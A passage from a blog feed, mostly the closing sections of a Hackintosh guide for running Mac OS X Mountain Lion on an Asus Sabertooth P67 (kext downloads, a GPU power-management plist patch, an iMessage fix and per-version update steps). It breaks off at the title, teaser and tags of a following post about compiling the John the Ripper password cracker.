      <a href="https://thireus.frenchdev.com/SharedFiles/Kext/AppleIntelE1000e_2.4.14.kext.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
124.3 KB - AppleIntelE1000e_2.4.14.kext.zip
    </div>
</div>
<p><span data-mce-mark="1" style="color: #ff0000;">*</span><span data-mce-mark="1" style="color: #808080;"> Note that these drivers depend of your motherboard!</span></p>
<p>[![](<strong>GHOST_URL</strong>/img/macos-x-mountai<img src="https://blog.thireus.com/img/macos-x-mountain-lion-graphics-cards-nvidia-atiamd-by-thireus-327x227.png" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS" title="MacOS X Mountain Lion Graphics Cards NVIDIA + ATI/AMD by Thireus" loading="lazy">om/img/macos-x-mountain-lion-graphics-cards-nvidia-atiamd-by-thireus.png)</p>
<p><span style="color: #ff0000;">Before each reboot make sure to Repair Permissions with the Disk Utility.</span></p>
<p>Hopefully&#xA0;my NVIDIA GTX 480 and AMD HD6870 Graphics Cards were working out of the box on Mountain Lion. OpenCL, OpenGL and Quartz Extreme are working without any patch. If you need to patch OpenCL you&apos;ll find more information on <a href="http://www.insanelymac.com/forum/index.php?showtopic=266318&amp;ref=blog.thireus.com" title="OpenCL fix for non-GF100/GF110 cards (aka CC/SM 2.1+)">this topic</a>. The only issue I faced on Mountain Lion was the bad GPU power management of my NVIDIA GTX 480. To fix this issue you need to patch the Infos.plist file contained in the <strong>AppleGraphicsPowerManagement.kext</strong> folder.</p>
<p>Here are the lines you need to add, right after <strong><key>iMac12,2</key> <dict></dict></strong>. <span data-mce-mark="1" style="color: #ff0000;">This patch only works for iMac12,2 model and NVIDIA GTX 480! Also be careful when copy/paste, you may need to replace inadequate spaces with tabs&#x2026; Prefer the pre-patched version if you are unsure!</span></p>
<pre><code>&lt;key&gt;Vendor10deDevice06c0&lt;/key&gt;
&lt;dict&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;BoostPState&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;array&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;0&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;1&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;2&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;3&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;/array&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;BoostTime&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;array&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;3&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;3&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;3&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;3&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;/array&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;Heuristic&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;dict&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;ID&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;0&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;IdleInterval&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;250&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;SensorOption&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;1&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;SensorSampleRate&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;4&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;TargetCount&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;5&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;Threshold_High&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;array&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;47&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;75&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;93&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;100&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;/array&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;Threshold_Low&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;array&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;0&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;72&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;90&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;99&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&lt;/array&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;/dict&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;control-id&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;17&lt;/integer&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;key&gt;LogControl&lt;/key&gt;
&#xA0;&#xA0;&#xA0;&#xA0;&lt;integer&gt;0&lt;/integer&gt;
&lt;/dict&gt;
</code></pre>
<p>If you still need the full kext, here it is:</p>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://blog.thireus.com/download/AppleGraphicsPowerManagement.kext(2).zip" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
44.4 KB - AppleGraphicsPowerManagement.kext(2).zip
    </div>
</div>
<p><span style="color: #ff0000;">IF YOU ARE UNDER 10.8.3 YOU NEED THIS VERSION OF THE KEXT (you can still patch the original kext manually):</span></p>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://blog.thireus.com/download/AppleGraphicsPowerManagement.kext.10.8.3ONLY_FIXED.zip" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
46.3 KB - AppleGraphicsPowerManagement.kext.10.8.3ONLY_FIXED.zip
    </div>
</div>
<p><a href></a><em>About iMessage&#x2026;</em></p>
<p>HackinTosh computers may have this bad behavior with iMessage, that when you try to sign in to iMessage it fails with an error displaying &quot;<span style="color: #ff0000;">Could not sign in to iMessage.</span>&quot;.&#xA0;Fortunately &quot;<strong>xZeneu LLC</strong>&quot; released a module for <strong>Chameleon r2181 or newer</strong> named <a href="https://public.xzenue.com/downloads/?ref=blog.thireus.com" title="FileNVRAM.dylib">FileNVRAM.dylib</a>&#xA0;that fixes this issue&#xA0;(download the 1.1.3 version or newer). Make sure that you have the latest version of Chameleon and put the&#xA0;<strong>FileNVRAM.dylib</strong>&#xA0;module to your /Extra/modules/ folder. Reboot and enjoy iMessage.</p>
<h4 id="finalthoughts">Final thoughts&#x2026;</h4>
<p>[![](<strong>GHOST_URL</strong>/img/macos-x-mountai<img src="https://blog.thireus.com/img/macos-x-mountain-lion-10-8-thireus-geekbench-806x454.png" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS" title="MacOS X Mountain Lion 10.8 Thireus GeekBench" loading="lazy">om/img/macos-x-mountain-lion-10-8-thireus-geekbench.png)</p>
<p>I&apos;m writing these last lines from my new Mountain Lion OS. I hope you enjoyed this tutorial. Feel free to thank anyone who helped you during this painful task.<br>
Never forget that this hard work was made during my spare time and if you need more help you should ask on hackintosh forums, such as&#xA0;<a href="http://www.tonymacx86.com/forum.php?ref=blog.thireus.com" title="tonymacx86.com">tonymacx86</a>&#xA0;or&#xA0;<a href="http://www.insanelymac.com/forum/index.php?act=idx&amp;ref=blog.thireus.com" title="InsanelyMac Forum">InsanelyMac</a>.</p>
<p>As always, feel free to share the knowledge my friends!</p>
<h4 id="osxupdates">OSX Updates:</h4>
<h6 id="spandatamcemark1stylecolor0080001081updateprocedurespanspandatamcemark1stylecolor008000goodspanupdaterebootenjoy"><span data-mce-mark="1" style="color: #008000;">10.8.1 UPDATE PROCEDURE</span>&#xA0;[&#xA0;<span data-mce-mark="1" style="color: #008000;">GOOD</span>&#xA0;] &#x2013;&#xA0;<em>Update, reboot, enjoy!</em></h6>
<ol>
<li>Either update from App Store or <a href="http://support.apple.com/kb/DL1571?ref=blog.thireus.com" title="OS X Mountain Lion Update v10.8.1">direct link</a>.</li>
<li>Use the following updated ExtraThi_v1.1 to boot Mountain Lion, it contains the new OS X Darwin kernel (12.1.0&#xA0;for MacOS&#xA0;<strong>10.8.1</strong>)&#xA0;included in <strong>Preboot.dmg</strong>.</li>
<li><span data-mce-mark="1" style="color: #888888;">(Optional) Users who have installed Chameleon 2.1 r2048 (previous version of this GUIDE) can upgrade their&#xA0;<strong>CHAMELEON</strong> bootloader with Chameleon 2.1 r2050&#xA0;(from&#xA0;<a href="http://forge.voodooprojects.org/svn/chameleon/?ref=blog.thireus.com" title="Chameleon - Revision 2048"><span data-mce-mark="1" style="color: #888888;">source</span></a>&#xA0;or&#xA0;<a href="http://www.osx86.net/view/2981-chameleon-2.1svn-r2048.html?ref=blog.thireus.com" title="Chameleon-2.1svn-r2048"><span data-mce-mark="1" style="color: #888888;">package</span></a>).</span></li>
</ol>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/ExtraThi/ExtraThi_v1.1_10.8.1.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
50.1 MB - ExtraThi_v1.1_10.8.1.zip
    </div>
</div>
<h6 id="spandatamcemark1stylecolor0080001082updateprocedurespanspandatamcemark1stylecolor008000goodspanupdaterebootenjoy"><span data-mce-mark="1" style="color: #008000;">10.8.2 UPDATE PROCEDURE</span>&#xA0;[&#xA0;<span data-mce-mark="1" style="color: #008000;">GOOD</span>&#xA0;] &#x2013;&#xA0;<em>Update, reboot, enjoy!</em></h6>
<ol>
<li>Either update from App Store or&#xA0;<a href="http://support.apple.com/kb/DL1581?ref=blog.thireus.com" title="OS X Mountain Lion Update v10.8.2 (Combo)">direct link</a>.</li>
<li>Use the following updated ExtraThi_v1.1 to boot Mountain Lion, it contains the new OS X Darwin kernel (12.2.0&#xA0;for MacOS&#xA0;<strong>10.8.2</strong>)&#xA0;included in&#xA0;<strong>Preboot.dmg</strong>.</li>
<li><span data-mce-mark="1" style="color: #888888;">(Optional) Users who have installed Chameleon 2.1 r2050 (previous version of this GUIDE) can upgrade their&#xA0;<strong>CHAMELEON</strong>&#xA0;bootloader with Chameleon 2.1 r2060 (from&#xA0;<a href="http://forge.voodooprojects.org/svn/chameleon/?ref=blog.thireus.com" title="Chameleon - Revision 2048"><span data-mce-mark="1" style="color: #888888;">source</span></a>&#xA0;or&#xA0;<a href="http://www.osx86.net/view/2981-chameleon-2.1svn-r2048.html?ref=blog.thireus.com" title="Chameleon-2.1svn-r2048"><span data-mce-mark="1" style="color: #888888;">package</span></a>).</span></li>
</ol>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/ExtraThi/ExtraThi_v1.1_10.8.2.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
50.1 MB - ExtraThi_v1.1_10.8.2.zip
    </div>
</div>
<h6 id="spanstylecolor0080001083updateprocedurespanspanstylecolor008000goodspanupdatepatchrebootenjoy"><span style="color: #008000;">10.8.3 UPDATE PROCEDURE</span>&#xA0;[&#xA0;<span style="color: #008000;">GOOD</span> ] &#x2013;&#xA0;<em>Update, patch, reboot, enjoy!</em></h6>
<ol>
<li>Update using the OS X Mountain Lion Update v10.8.3 (Combo)&#xA0;from&#xA0;<a href="http://support.apple.com/kb/DL1640?ref=blog.thireus.com" title="OS X Mountain Lion Update v10.8.3 (Combo)">direct link</a>.</li>
<li>Patch your&#xA0;<strong>AppleGraphicsPowerManagement.kext</strong> if needed (Apple updated this kext in this 10.8.3 version, so you need to patch it again).</li>
<li>Use the following updated ExtraThi_v1.1 to boot Mountain Lion, it contains the new OS X Darwin kernel (12.3.0&#xA0;for MacOS&#xA0;<strong>10.8.3</strong>)&#xA0;included in&#xA0;<strong>Preboot.dmg</strong>.</li>
<li>Users who have installed Chameleon 2.1 r2060 (previous version of this GUIDE) must upgrade their&#xA0;<strong>CHAMELEON</strong>&#xA0;bootloader with Chameleon 2.2 r2187 or newer version (from&#xA0;<a href="http://forge.voodooprojects.org/svn/chameleon/?ref=blog.thireus.com" title="Chameleon - Revision 2048">source</a>&#xA0;or&#xA0;<a href="http://www.osx86.net/view/3603-chameleon-enoch_r2187_daily_updates.html?ref=blog.thireus.com" title="Chameleon-2.2svn-r2187">package</a>).</li>
<li>Apply fixes for&#xA0;Audio/USB3.0/Ethernet/iMessage/etc.</li>
</ol>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/ExtraThi/ExtraThi_v1.2_10.8.3.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
38.7 MB - ExtraThi_v1.1_10.8.3.zip
    </div>
</div>
<h6 id="spanstylecolor0080001084updateprocedurespanspanstylecolor008000goodspanupdatepatchrebootenjoy"><span style="color: #008000;">10.8.4 UPDATE PROCEDURE</span>&#xA0;[&#xA0;<span style="color: #008000;">GOOD</span>&#xA0;] &#x2013;&#xA0;<em>Update, patch, reboot, enjoy!</em></h6>
<ol>
<li>Update using the OS X Mountain Lion Update v10.8.4 (Combo)&#xA0;from&#xA0;<a href="http://support.apple.com/kb/DL1659?ref=blog.thireus.com" title="OS X Mountain Lion Update v10.8.4 (Combo)">direct link</a>.</li>
<li>Patch your&#xA0;<strong>AppleGraphicsPowerManagement.kext</strong>&#xA0;if needed (Apple updated this kext in 10.8.3 version, so you need to patch it again if updating via Combo).</li>
<li>Use the following updated ExtraThi_v1.2.1 to boot Mountain Lion, it contains the new OS X Darwin kernel (12.4.0&#xA0;for MacOS&#xA0;<strong>10.8.4</strong>)&#xA0;included in&#xA0;<strong>Preboot.dmg</strong>.</li>
<li>Users who have installed Chameleon 2.1 r2187 (previous version of this GUIDE) should upgrade their&#xA0;<strong>CHAMELEON</strong>&#xA0;bootloader with Chameleon 2.2 r2189 or newer version (from&#xA0;<a href="http://forge.voodooprojects.org/svn/chameleon/?ref=blog.thireus.com" title="Chameleon - Revision 2189">source</a>&#xA0;or&#xA0;<a href="http://www.osx86.net/view/3603-chameleon-enoch_r2187_daily_updates.html?ref=blog.thireus.com" title="Chameleon-2.2svn-r2189">package</a>).</li>
<li>Apply fixes for&#xA0;Audio/USB3.0/Ethernet/iMessage/etc.</li>
</ol>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/ExtraThi/ExtraThi_v1.2.1_10.8.4.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
38.5 MB - ExtraThi_v1.2.1_10.8.4.zip
    </div>
</div>
<h6 id="spanstylecolor0080001085updateprocedurespanspanstylecolor008000goodspanupdatepatchrebootenjoy"><span style="color: #008000;">10.8.5 UPDATE PROCEDURE</span>&#xA0;[&#xA0;<span style="color: #008000;">GOOD</span>&#xA0;] &#x2013;&#xA0;<em>Update, patch, reboot, enjoy!</em></h6>
<ol>
<li>Update using the OS X Mountain Lion Update v10.8.5 (Combo)&#xA0;from&#xA0;<a href="http://support.apple.com/kb/DL1676?ref=blog.thireus.com" title="OS X Mountain Lion Update v10.8.5 (Combo)">direct link</a>.</li>
<li>Patch your&#xA0;<strong>AppleGraphicsPowerManagement.kext</strong>&#xA0;if needed (Apple updated this kext in 10.8.3 version, so you need to patch it again if updating via Combo).</li>
<li>Use the following updated ExtraThi_v1.3 to boot Mountain Lion, it contains the new OS X Darwin kernel (12.5.0&#xA0;for MacOS&#xA0;<strong>10.8.5</strong>)&#xA0;included in&#xA0;<strong>Preboot.dmg</strong>.</li>
<li>Users who have installed Chameleon 2.2 r2189 (previous version of this GUIDE) should upgrade their&#xA0;<strong>CHAMELEON</strong>&#xA0;bootloader with Chameleon 2.2 r2266 or newer version (from&#xA0;<a href="http://forge.voodooprojects.org/svn/chameleon/?ref=blog.thireus.com" title="Chameleon - Revision 2266">source</a>&#xA0;or&#xA0;<a href="http://www.osx86.net/files/file/3511-chameleon-22-svn-r2266/?ref=blog.thireus.com" title="Chameleon 2.2 svn r2266">package</a>).</li>
<li>Apply fixes for&#xA0;Audio/USB3.0/Ethernet/iMessage/etc.</li>
</ol>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/ExtraThi/ExtraThi_v1.3_10.8.5.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
34.1 MB - ExtraThi_v1.3_10.8.5.zip
    </div>
</div>
<h6 id="spanstylecolor0080001085supplementalupdate10procedurespanspanstylecolor008000goodspanupdatepatchrebootenjoy"><span style="color: #008000;">10.8.5 Supplemental Update 1.0 PROCEDURE</span>&#xA0;[&#xA0;<span style="color: #008000;">GOOD</span>&#xA0;] &#x2013;&#xA0;<em>Update, patch, reboot, enjoy!</em></h6>
<ol>
<li>Update using the OS X Mountain Lion v10.8.5 Supplemental Update 1.0&#xA0;from&#xA0;<a href="http://support.apple.com/kb/DL1686?ref=blog.thireus.com" title="OS X Mountain Lion 10.8.5 Supplemental Update">direct link</a>.</li>
<li>Patch your&#xA0;<strong>AppleGraphicsPowerManagement.kext</strong>&#xA0;if needed (Apple updated this kext in 10.8.3 version, so you need to patch it again if updating via Combo).</li>
<li>Use the following updated ExtraThi_v1.3.1 to boot Mountain Lion, it contains the new OS X Darwin kernel (12.5.0&#xA0;for MacOS&#xA0;<strong>10.8.5</strong>)&#xA0;included in&#xA0;<strong>Preboot.dmg</strong>.</li>
<li>Users who have installed Chameleon 2.2 r2263&#xA0;(previous version of this GUIDE) should upgrade their&#xA0;<strong>CHAMELEON</strong>&#xA0;bootloader with Chameleon 2.2 r2266 or newer version (from&#xA0;<a href="http://forge.voodooprojects.org/svn/chameleon/?ref=blog.thireus.com" title="Chameleon - Revision 2266">source</a>&#xA0;or&#xA0;<a href="http://www.osx86.net/files/file/3511-chameleon-22-svn-r2266/?ref=blog.thireus.com" title="Chameleon 2.2 svn r2266">package</a>).</li>
<li>Apply fixes for&#xA0;Audio/USB3.0/Ethernet/iMessage/etc.</li>
<li><span style="color: #ff0000;">For Ethernet, you should consider using AppleIntelE1000e.kext <a href="#e2.4.14">v2.4.14</a></span>.</li>
<li><strong>SAPPHIRE HD 6870 4 PORT kext 10.8.5 patched</strong> &#x2013; Install the <a href="http://www.osx86.net/files/file/3509-sapphire-hd-6870-4-port-kext-1085-patched/?ref=blog.thireus.com" title="Download SAPPHIRE HD 6870 4 PORT kext 10.8.5 patched">patched&#xA0;ATI6000Controller.kext</a> (replace the original one provided by Apple) to fix DVI/HDMI outputs of your Sapphire HD6870 Graphics Card. With the original&#xA0;ATI6000Controller.kext only one DVI output is working out of the box.</li>
</ol>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/ExtraThi/ExtraThi_v1.3.1_10.8.5.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="[GUIDE] HackinTosh &#x2013; Install MacOS Mountain Lion 10.8 to 10.8.5 on Asus SaberTooth P67 in 3 STEPS"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
33.6 MB - ExtraThi_v1.3.1_10.8.5.zip
    </div>
</div>
<p><span style="color: #888888;">Please note that after each update Audio/USB3.0/Ethernet/etc. might be broken. Make sure to fix them right after the update.</span></p>
<p><span data-mce-mark="1" style="color: #ff0000;"><span data-mce-mark="1" style="text-decoration: underline;">RAID0 users:</span>&#xA0;After each update do not forget to rebuild your <em>Extensions.mkext</em>!</span></p>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps" title="&#x9ED1;&#x82F9;&#x679C;">&#x9ED1;&#x82F9;&#x679C;</a></li>
<li><a href="https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps" title="chameleon hackintosh">chameleon hackintosh</a></li>
<li><a href="https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps" title="kexts">kexts</a></li>
<li><a href="https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps" title="hackintosh 10 8 2">hackintosh 10 8 2</a></li>
<li><a href="https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps" title="hackintosh chameleon">hackintosh chameleon</a></li>
<li><a href="https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps" title="chameleon mountain lion">chameleon mountain lion</a></li>
<li><a href="https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps" title="10 8 usb boot chameleon">10 8 usb boot chameleon</a></li>
<li><a href="https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps" title="hackintosh mountain lion 10 8 2">hackintosh mountain lion 10 8 2</a></li>
<li><a href="https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps" title="mountain lion 10 8 2 hackintosh">mountain lion 10 8 2 hackintosh</a></li>
<li><a href="https://blog.thireus.com/guide-hackintosh-install-macos-mountain-lion-10-8-on-asus-sabertooth-p67-in-3-steps" title="hackintosh 10 8 download">hackintosh 10 8 download</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[John the Ripped – Steak and French Fries With Salt and Pepper Sauce for Hungry Password Crackers]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p><a href="http://www.openwall.com/john/?ref=blog.thireus.com" title="John the Ripper password cracker">John the Ripper</a> into its latest community enhanced version (John the Ripper <a href="http://www.openwall.com/john/g/john-1.7.9-jumbo-5.tar.gz?ref=blog.thireus.com">1.7.9-jumbo-5</a>) has many advanced features. Most of them are without any doubt very useful and appreciated such as MD5 hash cracking.</p>
</blockquote>
<p><em>Four days to come before <a href="http://conference.hitb.org/hitbsecconf2012ams/?ref=blog.thireus.com">Hack In The Box Amsterdam 2012</a> security conferences. Excitement is</em></p>]]></description><link>https://blog.thireus.com/john-the-ripped-steak-and-french-fries-with-salt-and-pepper-sauce-for-hungry-password-crackers/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b970</guid><category><![CDATA[bruteforce]]></category><category><![CDATA[C]]></category><category><![CDATA[cluster]]></category><category><![CDATA[compile]]></category><category><![CDATA[CPU]]></category><category><![CDATA[crack]]></category><category><![CDATA[HITB2012AMS]]></category><category><![CDATA[john]]></category><category><![CDATA[John the Ripper]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Mac]]></category><category><![CDATA[MacOS]]></category><category><![CDATA[macports]]></category><category><![CDATA[MD5]]></category><category><![CDATA[MPI]]></category><category><![CDATA[mpich2]]></category><category><![CDATA[OpenMP]]></category><category><![CDATA[openMPI]]></category><category><![CDATA[password]]></category><category><![CDATA[salt]]></category><category><![CDATA[SHA1]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Sun, 20 May 2012 15:50:09 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/john-the-ripped-salt-and-pepper-for-hungry-password-crackers.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
